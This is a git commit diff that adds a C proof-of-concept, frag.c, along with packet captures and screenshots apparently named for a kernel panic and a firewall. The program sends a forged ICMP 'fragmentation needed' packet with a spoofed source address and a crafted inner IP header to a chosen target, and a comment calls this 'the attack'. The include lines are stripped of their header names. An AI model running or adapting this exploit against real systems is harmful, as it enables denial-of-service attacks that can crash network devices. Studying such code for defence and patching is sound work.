commit f5c240ae59ed78124d5570a8ab65fe38329f1aa6 Author: geoffrey Date: Fri May 29 09:38:11 2026 +0200 First commit diff --git a/FGT_block_frag.png b/FGT_block_frag.png new file mode 100644 index 0000000..77b83b8 Binary files /dev/null and b/FGT_block_frag.png differ diff --git a/foo.pcap b/foo.pcap new file mode 100644 index 0000000..b13c809 Binary files /dev/null and b/foo.pcap differ diff --git a/frag.c b/frag.c new file mode 100644 index 0000000..dc7a40f --- /dev/null +++ b/frag.c @@ -0,0 +1,107 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define PACKET_SIZE 128 +#define PAYLOAD_DATA 8 + +static unsigned short csum(unsigned short *buf, int nwords) { + unsigned long sum = 0; + while (nwords > 0) { + sum += *buf++; + nwords--; + } + sum = (sum >> 16) + (sum & 0xFFFF); + sum += (sum >> 16); + return (unsigned short)(~sum); +} + +int main(int argc, char *argv[]) { + int sock = 0; + + if (argc < 3) + exit(1); + + char ipsrc[15]; + char ipdst[15]; + memcpy(ipsrc, argv[1], 15); + memcpy(ipdst, argv[2], 15); + + sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); + if (sock < 0) { + perror("socket"); + return 1; + } + + int one = 1; + if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(int)) < 0) { + perror("setsockopt"); + return 1; + } + + unsigned char packet[PACKET_SIZE]; + memset(packet, 0, PACKET_SIZE); + + struct iphdr *ip = (struct iphdr *)packet; + struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); + + struct sockaddr_in dst = {0}; + dst.sin_family = AF_INET; + inet_pton(AF_INET, ipdst, &dst.sin_addr); + + ip->version = 4; + ip->ihl = 5; + ip->tos = 0; + ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 28); + ip->id = htons(1); + ip->frag_off = 0; + ip->ttl = 64; + ip->protocol = IPPROTO_ICMP; + ip->saddr = inet_addr(ipsrc); + ip->daddr = dst.sin_addr.s_addr; + ip->check = csum((unsigned short *)ip, sizeof(struct iphdr) / 2); + + /* To perform the attack, we need to set these two values */ + icmp->type = ICMP_DEST_UNREACH; + icmp->code = ICMP_FRAG_NEEDED; + + icmp->un.gateway = 0; + + /* We construct the payload for the ICMP */ + unsigned char *payload = packet + sizeof(struct iphdr) + sizeof(struct icmphdr); + + struct iphdr payload_ip; + memset(&payload_ip, 0, sizeof(payload_ip)); + payload_ip.version = 4; + payload_ip.ihl = 5; + payload_ip.tos = 0; + payload_ip.tot_len = htons(60); + payload_ip.id = htons(1); + payload_ip.ttl = 64; + payload_ip.protocol = 0; + payload_ip.saddr = inet_addr(ipsrc); + payload_ip.daddr = inet_addr(ipdst); + + /* We copy our IP header into the ICMP payload and our data */ + memcpy(payload, &payload_ip, sizeof(payload_ip)); + memset(payload + sizeof(payload_ip), 0x41, PAYLOAD_DATA); + + int icmp_len = sizeof(struct icmphdr) + sizeof(payload_ip) + PAYLOAD_DATA; + icmp->checksum = 0; + icmp->checksum = csum((unsigned short *)icmp, (icmp_len + 1) / 2); + + int total_len = sizeof(struct iphdr) + icmp_len; + + if (sendto(sock, packet, total_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) { + perror("sendto"); + return 1; + } + + close(sock); + return 0; +} diff --git a/frag.pcap b/frag.pcap new file mode 100644 index 0000000..27b4504 Binary files /dev/null and b/frag.pcap differ diff --git a/frag2.pcap b/frag2.pcap new file mode 100644 index 0000000..862ca8a Binary files /dev/null and b/frag2.pcap differ diff --git a/frag3.pcap b/frag3.pcap new file mode 100644 index 0000000..be61bf0 Binary files /dev/null and b/frag3.pcap differ diff --git a/icmp.pcap b/icmp.pcap new file mode 100644 index 0000000..9464ec4 Binary files /dev/null and b/icmp.pcap differ diff --git a/icmp2.pcap b/icmp2.pcap new file mode 100644 index 0000000..7f9bb7e Binary files /dev/null and b/icmp2.pcap differ diff --git a/icmp3.pcap b/icmp3.pcap new file mode 100644 index 0000000..c2fd7db Binary files /dev/null and b/icmp3.pcap differ diff --git a/icmp_frag.pcap b/icmp_frag.pcap new file mode 100644 index 0000000..39e3012 Binary files /dev/null and b/icmp_frag.pcap differ diff --git a/kernel_panic.png b/kernel_panic.png new file mode 100644 index 0000000..3dc0ffb Binary files /dev/null and b/kernel_panic.png differ diff --git a/mtu.drawio.png b/mtu.drawio.png new file mode 100644 index 0000000..b654347 Binary files /dev/null and b/mtu.drawio.png differ